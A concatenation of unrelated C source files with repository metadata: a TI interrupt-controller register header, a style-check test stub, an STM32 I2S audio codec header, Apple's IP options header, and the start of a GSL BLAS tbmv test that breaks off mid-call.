Interrupt 8.7 Uint16 INTx8:1; // 7 Flag for Interrupt 8.8 Uint16 INTx9:1; // 8 Flag for Interrupt 8.9 Uint16 INTx10:1; // 9 Flag for Interrupt 8.10 Uint16 INTx11:1; // 10 Flag for Interrupt 8.11 Uint16 INTx12:1; // 11 Flag for Interrupt 8.12 Uint16 INTx13:1; // 12 Flag for Interrupt 8.13 Uint16 INTx14:1; // 13 Flag for Interrupt 8.14 Uint16 INTx15:1; // 14 Flag for Interrupt 8.15 Uint16 INTx16:1; // 15 Flag for Interrupt 8.16 }; union PIEIFR8_REG { Uint16 all; struct PIEIFR8_BITS bit; }; struct PIEIER9_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 9.1 Uint16 INTx2:1; // 1 Enable for Interrupt 9.2 Uint16 INTx3:1; // 2 Enable for Interrupt 9.3 Uint16 INTx4:1; // 3 Enable for Interrupt 9.4 Uint16 INTx5:1; // 4 Enable for Interrupt 9.5 Uint16 INTx6:1; // 5 Enable for Interrupt 9.6 Uint16 INTx7:1; // 6 Enable for Interrupt 9.7 Uint16 INTx8:1; // 7 Enable for Interrupt 9.8 Uint16 INTx9:1; // 8 Enable for Interrupt 9.9 Uint16 INTx10:1; // 9 Enable for Interrupt 9.10 Uint16 INTx11:1; // 10 Enable for Interrupt 9.11 Uint16 INTx12:1; // 11 Enable for Interrupt 9.12 Uint16 INTx13:1; // 12 Enable for Interrupt 9.13 Uint16 INTx14:1; // 13 Enable for Interrupt 9.14 Uint16 INTx15:1; // 14 Enable for Interrupt 9.15 Uint16 INTx16:1; // 15 Enable for Interrupt 9.16 }; union PIEIER9_REG { Uint16 all; struct PIEIER9_BITS bit; }; struct PIEIFR9_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 9.1 Uint16 INTx2:1; // 1 Flag for Interrupt 9.2 Uint16 INTx3:1; // 2 Flag for Interrupt 9.3 Uint16 INTx4:1; // 3 Flag for Interrupt 9.4 Uint16 INTx5:1; // 4 Flag for Interrupt 9.5 Uint16 INTx6:1; // 5 Flag for Interrupt 9.6 Uint16 INTx7:1; // 6 Flag for Interrupt 9.7 Uint16 INTx8:1; // 7 Flag for Interrupt 9.8 Uint16 INTx9:1; // 8 Flag for Interrupt 9.9 Uint16 INTx10:1; // 9 Flag for Interrupt 9.10 Uint16 INTx11:1; // 10 Flag for Interrupt 9.11 Uint16 INTx12:1; // 11 Flag for Interrupt 9.12 Uint16 INTx13:1; // 12 Flag for Interrupt 9.13 Uint16 INTx14:1; // 13 Flag for Interrupt 9.14 Uint16 INTx15:1; // 14 Flag for Interrupt 9.15 Uint16 INTx16:1; // 15 Flag for Interrupt 9.16 }; union PIEIFR9_REG { Uint16 all; struct PIEIFR9_BITS bit; }; struct PIEIER10_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 10.1 Uint16 INTx2:1; // 1 Enable for Interrupt 10.2 Uint16 INTx3:1; // 2 Enable for Interrupt 10.3 Uint16 INTx4:1; // 3 Enable for Interrupt 10.4 Uint16 INTx5:1; // 4 Enable for Interrupt 10.5 Uint16 INTx6:1; // 5 Enable for Interrupt 10.6 Uint16 INTx7:1; // 6 Enable for Interrupt 10.7 Uint16 INTx8:1; // 7 Enable for Interrupt 10.8 Uint16 INTx9:1; // 8 Enable for Interrupt 10.9 Uint16 INTx10:1; // 9 Enable for Interrupt 10.10 Uint16 INTx11:1; // 10 Enable for Interrupt 10.11 Uint16 INTx12:1; // 11 Enable for Interrupt 10.12 Uint16 INTx13:1; // 12 Enable for Interrupt 10.13 Uint16 INTx14:1; // 13 Enable for Interrupt 10.14 Uint16 INTx15:1; // 14 Enable for Interrupt 10.15 Uint16 INTx16:1; // 15 Enable for Interrupt 10.16 }; union PIEIER10_REG { Uint16 all; struct PIEIER10_BITS bit; }; struct PIEIFR10_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 10.1 Uint16 INTx2:1; // 1 Flag for Interrupt 10.2 Uint16 INTx3:1; // 2 Flag for Interrupt 10.3 Uint16 INTx4:1; // 3 Flag for Interrupt 10.4 Uint16 INTx5:1; // 4 Flag for Interrupt 10.5 Uint16 INTx6:1; // 5 Flag for Interrupt 10.6 Uint16 INTx7:1; // 6 Flag for Interrupt 10.7 Uint16 INTx8:1; // 7 Flag for Interrupt 10.8 Uint16 INTx9:1; // 8 Flag for Interrupt 10.9 Uint16 INTx10:1; // 9 Flag for Interrupt 10.10 Uint16 INTx11:1; // 10 Flag for Interrupt 10.11 Uint16 INTx12:1; // 11 Flag for Interrupt 10.12 Uint16 INTx13:1; // 12 Flag for Interrupt 10.13 Uint16 INTx14:1; // 13 Flag for Interrupt 10.14 Uint16 INTx15:1; // 14 Flag for Interrupt 10.15 Uint16 INTx16:1; // 15 Flag for Interrupt 10.16 }; union PIEIFR10_REG { Uint16 all; struct PIEIFR10_BITS bit; }; struct PIEIER11_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 11.1 Uint16 INTx2:1; // 1 Enable for Interrupt 11.2 Uint16 INTx3:1; // 2 Enable for Interrupt 11.3 Uint16 INTx4:1; // 3 Enable for Interrupt 11.4 Uint16 INTx5:1; // 4 Enable for Interrupt 11.5 Uint16 INTx6:1; // 5 Enable for Interrupt 11.6 Uint16 INTx7:1; // 6 Enable for Interrupt 11.7 Uint16 INTx8:1; // 7 Enable for Interrupt 11.8 Uint16 INTx9:1; // 8 Enable for Interrupt 11.9 Uint16 INTx10:1; // 9 Enable for Interrupt 11.10 Uint16 INTx11:1; // 10 Enable for Interrupt 11.11 Uint16 INTx12:1; // 11 Enable for Interrupt 11.12 Uint16 INTx13:1; // 12 Enable for Interrupt 11.13 Uint16 INTx14:1; // 13 Enable for Interrupt 11.14 Uint16 INTx15:1; // 14 Enable for Interrupt 11.15 Uint16 INTx16:1; // 15 Enable for Interrupt 11.16 }; union PIEIER11_REG { Uint16 all; struct PIEIER11_BITS bit; }; struct PIEIFR11_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 11.1 Uint16 INTx2:1; // 1 Flag for Interrupt 11.2 Uint16 INTx3:1; // 2 Flag for Interrupt 11.3 Uint16 INTx4:1; // 3 Flag for Interrupt 11.4 Uint16 INTx5:1; // 4 Flag for Interrupt 11.5 Uint16 INTx6:1; // 5 Flag for Interrupt 11.6 Uint16 INTx7:1; // 6 Flag for Interrupt 11.7 Uint16 INTx8:1; // 7 Flag for Interrupt 11.8 Uint16 INTx9:1; // 8 Flag for Interrupt 11.9 Uint16 INTx10:1; // 9 Flag for Interrupt 11.10 Uint16 INTx11:1; // 10 Flag for Interrupt 11.11 Uint16 INTx12:1; // 11 Flag for Interrupt 11.12 Uint16 INTx13:1; // 12 Flag for Interrupt 11.13 Uint16 INTx14:1; // 13 Flag for Interrupt 11.14 Uint16 INTx15:1; // 14 Flag for Interrupt 11.15 Uint16 INTx16:1; // 15 Flag for Interrupt 11.16 }; union PIEIFR11_REG { Uint16 all; struct PIEIFR11_BITS bit; }; struct PIEIER12_BITS { // bits description Uint16 INTx1:1; // 0 Enable for Interrupt 12.1 Uint16 INTx2:1; // 1 Enable for Interrupt 12.2 Uint16 INTx3:1; // 2 Enable for Interrupt 12.3 Uint16 INTx4:1; // 3 Enable for Interrupt 12.4 Uint16 INTx5:1; // 4 Enable for Interrupt 12.5 Uint16 INTx6:1; // 5 Enable for Interrupt 12.6 Uint16 INTx7:1; // 6 Enable for Interrupt 12.7 Uint16 INTx8:1; // 7 Enable for Interrupt 12.8 Uint16 INTx9:1; // 8 Enable for Interrupt 12.9 Uint16 INTx10:1; // 9 Enable for Interrupt 12.10 Uint16 INTx11:1; // 10 Enable for Interrupt 12.11 Uint16 INTx12:1; // 11 Enable for Interrupt 12.12 Uint16 INTx13:1; // 12 Enable for Interrupt 12.13 Uint16 INTx14:1; // 13 Enable for Interrupt 12.14 Uint16 INTx15:1; // 14 Enable for Interrupt 12.15 Uint16 INTx16:1; // 15 Enable for Interrupt 12.16 }; union PIEIER12_REG { Uint16 all; struct PIEIER12_BITS bit; }; struct PIEIFR12_BITS { // bits description Uint16 INTx1:1; // 0 Flag for Interrupt 12.1 Uint16 INTx2:1; // 1 Flag for Interrupt 12.2 Uint16 INTx3:1; // 2 Flag for Interrupt 12.3 Uint16 INTx4:1; // 3 Flag for Interrupt 12.4 Uint16 INTx5:1; // 4 Flag for Interrupt 12.5 Uint16 INTx6:1; // 5 Flag for Interrupt 12.6 Uint16 INTx7:1; // 6 Flag for Interrupt 12.7 Uint16 INTx8:1; // 7 Flag for Interrupt 12.8 Uint16 INTx9:1; // 8 Flag for Interrupt 12.9 Uint16 INTx10:1; // 9 Flag for Interrupt 12.10 Uint16 INTx11:1; // 10 Flag for Interrupt 12.11 Uint16 INTx12:1; // 11 Flag for Interrupt 12.12 Uint16 INTx13:1; // 12 Flag for Interrupt 12.13 Uint16 INTx14:1; // 13 Flag for Interrupt 12.14 Uint16 INTx15:1; // 14 Flag for Interrupt 12.15 Uint16 INTx16:1; // 15 Flag for Interrupt 12.16 }; union PIEIFR12_REG { Uint16 all; struct PIEIFR12_BITS bit; }; struct PIE_CTRL_REGS { union PIECTRL_REG PIECTRL; // ePIE Control Register union PIEACK_REG PIEACK; // Interrupt Acknowledge Register union PIEIER1_REG PIEIER1; // Interrupt Group 1 Enable Register union PIEIFR1_REG PIEIFR1; // Interrupt Group 1 Flag Register union PIEIER2_REG PIEIER2; // Interrupt Group 2 Enable Register union PIEIFR2_REG PIEIFR2; // Interrupt Group 2 Flag Register union PIEIER3_REG PIEIER3; // Interrupt Group 3 Enable Register union PIEIFR3_REG PIEIFR3; // Interrupt Group 3 Flag Register union PIEIER4_REG PIEIER4; // Interrupt Group 4 Enable Register union PIEIFR4_REG PIEIFR4; // Interrupt Group 4 Flag Register union PIEIER5_REG PIEIER5; // Interrupt Group 5 Enable Register union PIEIFR5_REG PIEIFR5; // Interrupt Group 5 Flag Register union PIEIER6_REG PIEIER6; // Interrupt Group 6 Enable Register union PIEIFR6_REG PIEIFR6; // Interrupt Group 6 Flag Register union PIEIER7_REG PIEIER7; // Interrupt Group 7 Enable Register union PIEIFR7_REG PIEIFR7; // Interrupt Group 7 Flag Register union PIEIER8_REG PIEIER8; // Interrupt Group 8 Enable Register union PIEIFR8_REG PIEIFR8; // Interrupt Group 8 Flag Register union PIEIER9_REG PIEIER9; // Interrupt Group 9 Enable Register union PIEIFR9_REG PIEIFR9; // Interrupt Group 9 Flag Register union PIEIER10_REG PIEIER10; // Interrupt Group 10 Enable Register union PIEIFR10_REG PIEIFR10; // Interrupt Group 10 Flag Register union PIEIER11_REG PIEIER11; // Interrupt Group 11 Enable Register union PIEIFR11_REG PIEIFR11; // Interrupt Group 11 Flag Register union PIEIER12_REG PIEIER12; // Interrupt Group 12 Enable Register union PIEIFR12_REG PIEIFR12; // Interrupt Group 12 Flag Register }; //--------------------------------------------------------------------------- // PIECTRL External References & Function Declarations: // #ifdef CPU1 extern volatile struct PIE_CTRL_REGS PieCtrlRegs; #endif #ifdef CPU2 extern volatile struct PIE_CTRL_REGS PieCtrlRegs; #endif #ifdef __cplusplus } #endif /* extern "C" */ #endif //=========================================================================== // End of file. //===========================================================================
8979628ad8dc68c359e02efbe85a30740e6981a4
2b3bbfc742ad6a2529f2906193c3c5263ebd5fac
/tests/scripts/waf-tools/f_guidelines/tests/c-004_tests/c-004_test6.c
afedd90edb37754f62f58298807a3957327e8ce0
[ "CC-BY-4.0", "BSD-3-Clause" ]
permissive
foxBMS/foxbms-2
35502ef8441dfc7374fd6c0839e7f5328a5bda8f
9eb6d1c44e63e43e62bbf6983b2e618fb6ad02cc
refs/heads/master
2023-05-22T05:30:25.862475
2023-02-23T15:03:35
2023-02-24T15:04:15
353,751,476
151
80
NOASSERTION
2023-09-01T09:59:30
2021-04-01T15:52:24
C
UTF-8
C
false
false
69
c
c-004_test6.c
// This test raises a C:004 error because of no header comment start
615e41e3a82b809c6804669b09eace4355c42584
cb55c180ed2259447653d32886f0104824973f6c
/libs/STM32_USB-FS-Device_Lib_V4.0.0/Projects/Audio_Speaker/inc/i2s_codec.h
58499d042db2b02c66eec161e67cb42a1e50927a
[ "MIT", "LicenseRef-scancode-st-mcd-2.0" ]
permissive
avem-labs/Avem
45542576f7323cca85d77225399aa5a31771e970
9d3f6a4158cebba2aad9ef369662ca81835ac52b
refs/heads/develop
2023-06-16T11:12:27.527248
2018-01-28T11:59:46
2018-01-28T11:59:46
65,394,199
1,362
410
MIT
2023-07-03T10:13:36
2016-08-10T15:31:26
C
UTF-8
C
false
false
7,136
h
i2s_codec.h
/** ****************************************************************************** * @file i2s_codec.h * @author MCD Application Team * @version V4.0.0 * @date 21-January-2013 * @brief This file contains all the functions prototypes for the I2S codec * firmware driver. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT 2013 STMicroelectronics</center></h2> * * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License"); * You may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://www.st.com/software_license_agreement_liberty_v2 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ****************************************************************************** */ /* Define to prevent recursive inclusion -------------------------------------*/ #ifndef __I2S_CODEC_H #define __I2S_CODEC_H /* .WAV file format : Endian Offset Length Contents big 0 4 bytes 'RIFF' // 0x52494646 little 4 4 bytes <file length - 8> big 8 4 bytes 'WAVE' // 0x57415645 Next, the fmt chunk describes the sample format: big 12 4 bytes 'fmt ' // 0x666D7420 little 16 4 bytes 0x00000010 // Length of the fmt data (16 bytes) little 20 2 bytes 0x0001 // Format tag: 1 = PCM little 22 2 bytes <channels> // Channels: 1 = mono, 2 = stereo little 24 4 bytes <sample rate> // Samples per second: e.g., 22050 little 28 4 bytes <bytes/second> // sample rate * block align little 32 2 bytes <block align> // channels * bits/sample / 8 little 34 2 bytes <bits/sample> // 8 or 16 Finally, the data chunk contains the sample data: big 36 4 bytes 'data' // 0x64617461 little 40 4 bytes <length of the data block> little 44 * <sample data> */ /* Includes ------------------------------------------------------------------*/ #include "stm32f10x.h" /* Exported types ------------------------------------------------------------*/ /* Audio file information structure */ typedef struct { uint32_t RIFFchunksize; uint16_t FormatTag; uint16_t NumChannels; uint32_t SampleRate; uint32_t ByteRate; uint16_t BlockAlign; uint16_t BitsPerSample; uint32_t DataSize; } WAVE_FormatTypeDef; /* Error Identification structure */ typedef enum { Valid_WAVE_File = 0, Unvalid_RIFF_ID, Unvalid_WAVE_Format, Unvalid_FormatChunk_ID, Unsupporetd_FormatTag, Unsupporetd_Number_Of_Channel, Unsupporetd_Sample_Rate, Unsupporetd_Bits_Per_Sample, Unvalid_DataChunk_ID, Unsupporetd_ExtraFormatBytes, Unvalid_FactChunk_ID } ErrorCode; /* Exported constants --------------------------------------------------------*/ /* Codec output DEVICE */ #define OutputDevice_SPEAKER 1 #define OutputDevice_HEADPHONE 2 #define OutputDevice_BOTH 3 /* VOLUME control constants */ #define DEFAULT_VOL 0x52 #define VolumeDirection_HIGH 0xF #define VolumeDirection_LOW 0xA #define VolumeDirection_LEVEL 0x0 #define VOLStep 4 /* Forward and Rewind constants */ #define STEP_FORWARD 2 /* 2% of wave file data length*/ #define STEP_BACK 6 /* 6% of wave file data length*/ /* Codec POWER DOWN modes */ #define CodecPowerDown_HW 1 #define CodecPowerDown_SW 2 /* Audio Play STATUS */ #define AudioPlayStatus_STOPPED 0 #define AudioPlayStatus_PLAYING 1 #define AudioPlayStatus_PAUSED 2 /* MUTE commands */ #define MUTE_ON 1 #define MUTE_OFF 0 /* I2S configuration parameters */ #define I2S_STANDARD I2S_Standard_Phillips #define I2S_MCLKOUTPUT I2S_MCLKOutput_Enable /* Exported macro ------------------------------------------------------------*/ /* Exported functions ------------------------------------------------------- */ /* CONFIGURATION */ uint32_t I2S_CODEC_Init(uint32_t OutputDevice, uint32_t Address); void I2S_CODEC_ReplayConfig(uint32_t Repetions); /* AUDIO CONTROL */ uint32_t I2S_CODEC_Play(uint32_t AudioStartPosition); uint32_t I2S_CODEC_Pause(void); uint32_t I2S_CODEC_Stop(void); uint32_t I2S_CODEC_ControlVolume(uint32_t direction, uint8_t volume); void I2S_CODEC_Mute(uint32_t Command); void I2S_CODEC_ForwardPlay(uint32_t Step); void I2S_CODEC_RewindPlay(uint32_t Step); /* EXTRA CONTROLS */ void I2S_CODEC_PowerDown(uint32_t CodecPowerDown_Mode); void I2S_CODEC_Reset(void); uint32_t I2S_CODEC_SpeakerHeadphoneSwap(uint32_t CODEC_AudioOutput, uint32_t Address); uint8_t GetVar_CurrentVolume(void); /* Medium Layer Codec Functions ----------------------------------------------*/ void I2S_CODEC_DataTransfer(void); void I2S_CODEC_UpdateStatus(void); uint32_t GetVar_DataStartAddr(void); ErrorCode I2S_CODEC_WaveParsing(uint8_t* HeaderTab); uint32_t GetVar_CurrentOutputDevice(void); uint32_t GetVar_AudioDataIndex(void); void SetVar_AudioDataIndex(uint32_t value); void ResetVar_AudioDataIndex(void); void IncrementVar_AudioDataIndex(uint32_t IncrementNumber); void DecrementVar_AudioDataIndex(uint32_t DecrementNumber); uint32_t GetVar_AudioReplay(void); void Decrement_AudioReplay(void); uint32_t GetVar_AudioPlayStatus(void); uint32_t SetVar_AudioPlayStatus(uint32_t Status); uint16_t GetVar_i2saudiofreq(void); uint32_t GetVar_AudioDataLength(void); /* Low Layer Codec Function --------------------------------------------------*/ uint32_t SetVar_SendDummyData(void); uint32_t ResetVar_SendDummyData(void); uint32_t GetVar_SendDummyData(void); uint32_t AudioFile_Init(void); void I2S_GPIO_Config(void); void I2S_Config(uint16_t Standard, uint16_t MCLKOutput, uint16_t AudioFreq); uint32_t CODEC_Config(uint16_t AudioOutput, uint16_t I2S_Standard, uint16_t I2S_MCLKOutput, uint8_t Volume); uint32_t Media_Init(void); void Media_BufferRead(uint8_t* pBuffer, uint32_t ReadAddr, uint16_t NumByteToRead); void Media_StartReadSequence(uint32_t ReadAddr); uint16_t Media_ReadHalfWord(uint32_t Offset); uint8_t Media_ReadByte(uint32_t Offset); void delay(__IO uint32_t nCount); #endif /* __I2S_CODEC_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
032709594bdd8df5262926b5c243834711632123
04e5b6df2ee3bcfb7005d8ec91aab8e380333ac4
/Extensions/clib/iPhoneOS.sdk/System/Library/Frameworks/Network.framework/Headers/ip_options.h
6aad7a3c8ed4ae619c40392a9a742142057821cd
[ "MIT" ]
permissive
ColdGrub1384/Pyto
64e2a593957fd640907f0e4698d430ea7754a73e
7557485a733dd7e17ba0366b92794931bdb39975
refs/heads/main
2023-08-01T03:48:35.694832
2022-07-20T14:38:45
2022-07-20T14:38:45
148,944,721
884
157
MIT
2023-02-26T21:34:04
2018-09-15T22:29:07
C
UTF-8
C
false
false
8,884
h
ip_options.h
// // ip_options.h // Network // // Copyright (c) 2017-2019 Apple. All rights reserved. // #ifndef __NW_IP_OPTIONS_H__ #define __NW_IP_OPTIONS_H__ #ifndef __NW_INDIRECT__ #warning "Please include <Network/Network.h> instead of this file directly." #endif // __NW_INDIRECT__ #include <Network/protocol_options.h> #include <Network/parameters.h> #include <uuid/uuid.h> __BEGIN_DECLS NW_ASSUME_NONNULL_BEGIN /*! * @function nw_protocol_copy_ip_definition * * @abstract * Access the definition of the default system protocol implementation * of IP (Internet Protocol). This protocol can be used * as part of a connection's protocol stack as the internet protocol. * * @result * Returns a retained protocol definition object. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) NW_RETURNS_RETAINED nw_protocol_definition_t nw_protocol_copy_ip_definition(void); #pragma mark - Options /*! * @typedef nw_ip_version_t * @abstract * A specific version of the Internet Protocol. */ typedef enum { /*! @const nw_ip_version_any Allow any IP version */ nw_ip_version_any = 0, /*! @const nw_ip_version_4 Use IP version 4 (IPv4) */ nw_ip_version_4 = 4, /*! @const nw_ip_version_6 Use IP version 6 (IPv6) */ nw_ip_version_6 = 6, } nw_ip_version_t; /*! * @function nw_ip_options_set_version * * @abstract * Specify a single version of the Internet Protocol to allow. * Setting this value will constrain which address endpoints can * be used, and will filter DNS results during connection establishment. * * @param options * An IP protocol options object. * * @param version * A specific, restricted IP version. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_options_set_version(nw_protocol_options_t options, nw_ip_version_t version); /*! * @function nw_ip_options_set_hop_limit * * @abstract * Configure the IP hop limit (or 'TTL' for IPv4). * * @param options * An IP protocol options object. * * @param hop_limit * The hop limit to set on outgoing IP packets. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_options_set_hop_limit(nw_protocol_options_t options, uint8_t hop_limit); /*! * @function nw_ip_options_set_use_minimum_mtu * * @abstract * Configure IP to use the minimum MTU value, which * is 1280 bytes for IPv6. This value has no effect for * IPv4. * * @param options * An IP protocol options object. * * @param use_minimum_mtu * A boolean indicating that the IP should use * its minimum MTU value. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_options_set_use_minimum_mtu(nw_protocol_options_t options, bool use_minimum_mtu); /*! * @function nw_ip_options_set_disable_fragmentation * * @abstract * Configure IP to disable fragmentation on outgoing * packets. * * @param options * An IP protocol options object. * * @param disable_fragmentation * A boolean indicating that the IP should use * disable fragmentation on outgoing packets. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_options_set_disable_fragmentation(nw_protocol_options_t options, bool disable_fragmentation); /*! * @function nw_ip_options_set_calculate_receive_time * * @abstract * Configure IP to calculate receive time for inbound * packets. * * @param options * An IP protocol options object. * * @param calculate_receive_time * A boolean indicating that the IP packets * should mark their receive time in IP metadata. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_options_set_calculate_receive_time(nw_protocol_options_t options, bool calculate_receive_time); /*! * @typedef nw_ip_local_address_preference_t * @abstract * Preference for local addresses selection. */ typedef enum { /*! @const nw_ip_local_address_preference_default Use system default for address selection */ nw_ip_local_address_preference_default = 0, /*! @const nw_ip_local_address_preference_temporary Prefer temporary (privacy) addresses */ nw_ip_local_address_preference_temporary = 1, /*! @const nw_ip_local_address_preference_stable Prefer stable addresses */ nw_ip_local_address_preference_stable = 2, } nw_ip_local_address_preference_t; /*! * @function nw_ip_options_set_local_address_preference * * @abstract * Specify a preference for how to select local addresses for outbound * connections. * * @param options * An IP protocol options object. * * @param preference * Preference for how to select local addresses. */ API_AVAILABLE(macos(10.15), ios(13.0), watchos(6.0), tvos(13.0)) void nw_ip_options_set_local_address_preference(nw_protocol_options_t options, nw_ip_local_address_preference_t preference); #pragma mark - Metadata /*! * @function nw_ip_create_metadata * * @abstract * Create an instance of IP metadata that can be used * to configure per-packet options when sending data * on a connection. * * @result * Returns a retained protocol metadata object. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) NW_RETURNS_RETAINED nw_protocol_metadata_t nw_ip_create_metadata(void); /*! * @function nw_protocol_metadata_is_ip * * @abstract * Checks if a protocol metadata object is compatible with the * accessors defined in this file for the default system * implementation of IP. * * @result * Returns true if the metadata is for the default system IP, * false otherwise. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) bool nw_protocol_metadata_is_ip(nw_protocol_metadata_t metadata); /*! * @typedef nw_ip_ecn_flag_t * @abstract * ECN flags marked in IP headers to indicate congestion. */ typedef enum { /*! @const nw_ip_ecn_flag_non_ect Non ECN-Capable Transport, value 0b00*/ nw_ip_ecn_flag_non_ect = 0, /*! @const nw_ip_ecn_flag_ect_0 ECN Capable Transport (0), value 0b10 */ nw_ip_ecn_flag_ect_0 = 2, /*! @const nw_ip_ecn_flag_ect_1 ECN Capable Transport (1), value 0b01 */ nw_ip_ecn_flag_ect_1 = 1, /*! @const nw_ip_ecn_flag_ce Congestion Experienced, value 0b11 */ nw_ip_ecn_flag_ce = 3, } nw_ip_ecn_flag_t; /*! * @function nw_ip_metadata_set_ecn_flag * * @abstract * Sets ECN flags on IP metadata. This will take effect if * applied to any sent content. * * @param metadata * An IP metadata object. * * @param ecn_flag * The ECN flag to apply to packets. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_metadata_set_ecn_flag(nw_protocol_metadata_t metadata, nw_ip_ecn_flag_t ecn_flag); /*! * @function nw_ip_metadata_get_ecn_flag * * @abstract * Gets ECN flags from IP metadata. This will be set only * for metadata associated with received content. * * @param metadata * An IP metadata object. * * @return * Returns the ECN flag received from a packet. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) nw_ip_ecn_flag_t nw_ip_metadata_get_ecn_flag(nw_protocol_metadata_t metadata); /*! * @function nw_ip_metadata_set_service_class * * @abstract * Sets service class on IP metadata. This will not generally * translate into TOS or Traffic Class bits unless the network * explictly supports it, but it will impact local queuing of * packets. * * @param metadata * An IP metadata object. * * @param service_class * The service class to apply to packets. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) void nw_ip_metadata_set_service_class(nw_protocol_metadata_t metadata, nw_service_class_t service_class); /*! * @function nw_ip_metadata_get_service_class * * @abstract * Gets service class from IP metadata. This reflects the value * set using nw_ip_metadata_set_service_class. It will not * be received from the network. * * @param metadata * An IP metadata object. * * @return * Returns the service class set on a packet. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) nw_service_class_t nw_ip_metadata_get_service_class(nw_protocol_metadata_t metadata); /*! * @function nw_ip_metadata_get_receive_time * * @abstract * Access the time at which a packet was received. This is * useful for calculating precise timing for round-trip-time * estimates. Same as clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW). * * The receive time will be 0 unless timestamps have been enabled * using nw_ip_options_set_calculate_receive_time(). * * @param metadata * An IP metadata object. * * @return * Returns the time that the packet was received. */ API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)) uint64_t nw_ip_metadata_get_receive_time(nw_protocol_metadata_t metadata); NW_ASSUME_NONNULL_END __END_DECLS #endif // __NW_IP_OPTIONS_H__
bab7c445a136d82ce526e93b7abbc5f6c8c95523
9b68b3d73b63ebcbfe18cc9a4aa8e91c84833a84
/tests/libs/gsl/tests/cblas/test_tbmv.c
abd349f82e98a88e809ac6bd5b2927262ce77b11
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "GPL-3.0-only" ]
permissive
openhpc/ohpc
17515db5082429eb9f250f12bf242b994beb715f
725a1f230434d0f08153ba1a5d0a7418574f8ae9
refs/heads/3.x
2023-08-19T02:15:14.682630
2023-08-18T19:33:51
2023-08-18T19:34:18
43,318,561
827
247
Apache-2.0
2023-09-14T01:22:18
2015-09-28T18:20:29
C
UTF-8
C
false
false
53,793
c
test_tbmv.c
#include <gsl/gsl_test.h> #include <gsl/gsl_ieee_utils.h> #include <gsl/gsl_math.h> #include <gsl/gsl_cblas.h> #include "tests.h" void test_tbmv (void) { const double flteps = 1e-4, dbleps = 1e-6; { int order = 101; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { 0.017088f, 0.315595f, 0.243875f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 894)"); } }; }; { int order = 101; int trans = 111; int uplo = 121; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { -0.089f, -0.721909f, 0.129992f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 895)"); } }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { 0.156927f, -0.159004f, 0.098252f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 896)"); } }; }; { int order = 101; int trans = 111; int uplo = 122; int diag = 132; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { 0.043096f, -0.584876f, -0.203f }; cblas_stbmv(order, uplo, trans, diag, N, K, A, lda, X, incX); { int i; for (i = 0; i < 3; i++) { gsl_test_rel(X[i], x_expected[i], flteps, "stbmv(case 897)"); } }; }; { int order = 102; int trans = 111; int uplo = 121; int diag = 131; int N = 3; int K = 1; int lda = 3; float A[] = { 0.439f, -0.484f, -0.952f, -0.508f, 0.381f, -0.889f, -0.192f, -0.279f, -0.155f }; float X[] = { -0.089f, -0.688f, -0.203f }; int incX = -1; float x_expected[] = { 0.024831f, -0.24504f, 0.447756f }; cblas_stbmv(order, uplo, 